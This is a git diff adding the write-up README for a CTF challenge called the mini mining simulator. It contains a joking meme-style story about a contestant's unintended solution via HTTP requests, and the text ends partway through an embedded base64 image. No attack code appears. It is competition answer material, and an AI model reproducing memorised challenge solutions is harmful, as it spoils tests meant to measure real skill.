diff --git a/README.md b/README.md index 75b0a9b..7edff55 100644 --- a/README.md +++ b/README.md @@ -39,7 +39,7 @@ | [证验码(未完成)](official/证验码/README.md) | [文件、源代码](official/证验码/src) | | [动态链接库检查器(未完成)](official/动态链接库检查器/README.md) | [文件、源代码](official/动态链接库检查器/src) | | [超精准的宇宙射线模拟器(未完成)](official/超精准的宇宙射线模拟器/README.md) | [文件、源代码](official/超精准的宇宙射线模拟器/src) | -| [超迷你的挖矿模拟器(未完成)](official/超迷你的挖矿模拟器/README.md) | [文件、源代码](official/超迷你的挖矿模拟器/src) | +| [超迷你的挖矿模拟器](official/超迷你的挖矿模拟器/README.md) | [文件、源代码](official/超迷你的挖矿模拟器/src) | | [Flag 计算机](official/Flag%20计算机/README.md) | [文件、源代码](official/Flag%20计算机/src) | | [中间人(未完成)](official/中间人/README.md) | [文件、源代码](official/中间人/src) | | [不经意传输(未完成)](official/不经意传输/README.md) | [文件、源代码](official/不经意传输/src) | diff --git a/official/超迷你的挖矿模拟器/README.md b/official/超迷你的挖矿模拟器/README.md index 8d61f24..53d55da 100644 --- a/official/超迷你的挖矿模拟器/README.md +++ b/official/超迷你的挖矿模拟器/README.md @@ -1 +1,204 @@ # 超迷你的挖矿模拟器 + +> 刚才组委会问我「发生甚么事了」,我说「怎么回事」,给我发了几个聊天记录。一看,噢:原来是比赛进行的时候,有几个年轻人,十几二十岁。他们说,哎——有一个排行榜第一的说是要看挖矿模拟器这题怎么解。我说可以,但你盯着地图左上角的那个 Flag 图标不管用,他不服气。哎——我说:小朋友,你用两种工具把这个 Flag 挖下来试试,他挖不动。他说我这题这肯定能挖得下来。我说肯定挖不下来,这是我出的题,300 分的题目,怎么能让你们那么容易解出来——啊。他说他非要用这法子试试,我说可以。我一说,他就啪——地开始写代码,在那儿……很快啊!然后上来就是一个 HTTP 请求,然后又一个 HTTP 请求,我这个后端代码全部防出去了啊——防出去以后自然是传统 CTF,点到为止,他已经输了,如果我这个后端代码发力,一个请求就让他再也不想打 CTF 了,他也承认这几个请求没拿到 Flag。我后端代码暂时不处理了,他突然袭击——又一个 HTTP 请求,我大意了啊,当时就非预期,拿到 Flag 了。我说小伙子你不讲武德你不懂,他说「对不对不起,我不懂规矩」。啊,他说他是乱打的,他可不是乱打的啊——后来听说他 AK 了所有的题,啊——看来他是有备而来。这个年轻人不讲武德,来骗,来非预期我连续 7 年的出题人,这好吗?这不好,我劝这位年轻人耗子尾汁,好好反思,以后不要再犯这样的聪明,小聪明,啊——打 CTF 要以和为贵,要讲武德,不要搞非预期。谢谢朋友们! + +以上便是本人精心设计的一道题被非预期解的故事。 + +![我知道之后,当场一缕仙气,灵魂升天](data:image/png;base64,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